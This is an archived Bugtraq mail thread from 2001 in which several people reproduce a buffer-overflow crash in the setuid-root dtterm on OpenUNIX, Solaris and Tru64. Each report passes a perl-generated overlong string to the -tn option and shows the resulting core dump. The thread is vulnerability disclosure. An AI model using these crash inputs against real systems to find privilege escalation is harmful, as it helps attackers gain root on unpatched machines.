Bugtraq mailing list archives

RE: OpenUNIX 8 & Unixware possible local root


From: Bob Dog <bobdog () drunk co nz>
Date: Wed, 3 Oct 2001 10:21:20 -0700 (PDT)

I could reproduce this on True64 5.1 on an AlphaStation
but I had to go all the way to 8203. Using values
below 4590 caused no problems. Starting at values
of 4590 up to 8202 a dtterm window will open normally
and everything seems normal but the 'clear' command
will cause a coredump. However, the teminal window will
still remain active. Other commands don't seem to cause
problems.

$ uname -a
OSF1 red5 V5.1 732 alpha
$ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x8203'`
Memory fault(coredump)

Bob


--- "Cushing, David" <David.Cushing () hitachisoftware com>
wrote:
I was able to reproduce this on a Solaris 8 sparc machine with different
tolerances:

[288] uname -a
SunOS hostname 5.8 Generic_108528-08 sun4u sparc SUNW,Ultra-60
[289] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1083'`
Segmentation Fault(coredump)
[297] /usr/dt/bin/dtterm -tn `perl -e 'print "A"x2083'`
Bus Error(coredump)
ginger:dcushing[298]=20

-David

-----Original Message-----
From: Aycan Irican [mailto:aycan () mars prosoft com tr]
Sent: Tuesday, October 02, 2001 1:55 AM
To: bugtraq () securityfocus com
Cc: evrim () envy com tr
Subject: OpenUNIX 8 & Unixware possible local root
=20
=20
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=20
Another dt series bug...
=20
$ uname -a=20
OpenUNIX zen 5 8.0.0 i386 x86at Caldera UNIX_SVR5=20
$ id=20
uid=3D101(fixxxer) gid=3D1(other)=20
$ ls -al /usr/dt/bin/dtterm=20
- -r-sr-xr-x 1 root bin 60892 Haz 10 05:03=20
/usr/dt/bin/dtterm=20
$ /usr/dt/bin/dtterm -tn `perl -e 'print "A"x1040'`=20
Warning: Missing charsets in String to FontSet conversion=20
Warning: Missing charsets in String to FontSet conversion=20
Memory fault=20
.. snip ..=20

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